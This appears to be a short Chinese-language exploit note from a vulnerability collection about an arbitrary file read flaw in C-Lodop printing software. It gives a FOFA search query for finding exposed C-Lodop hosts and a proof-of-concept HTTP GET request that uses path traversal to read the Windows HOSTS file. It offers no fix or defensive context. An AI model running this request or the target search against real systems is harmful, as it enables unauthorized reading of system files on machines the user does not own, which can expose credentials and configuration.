C-Lodop打印机任意文件读取漏洞.md

290 B / 2021-05-21 09:14:38

    # C-Lodop打印机任意文件读取漏洞

C-Lodop打印机存在任意文件读取漏洞，通过构造特殊URL，可实现读取系统任意文件。

fofa：`title="C-Lodop"`

poc：

```
GET /../../../../../../../../windows/System32/drivers/etc/HOSTS HTTP/1.1
Host: 127.0.0.1
....
```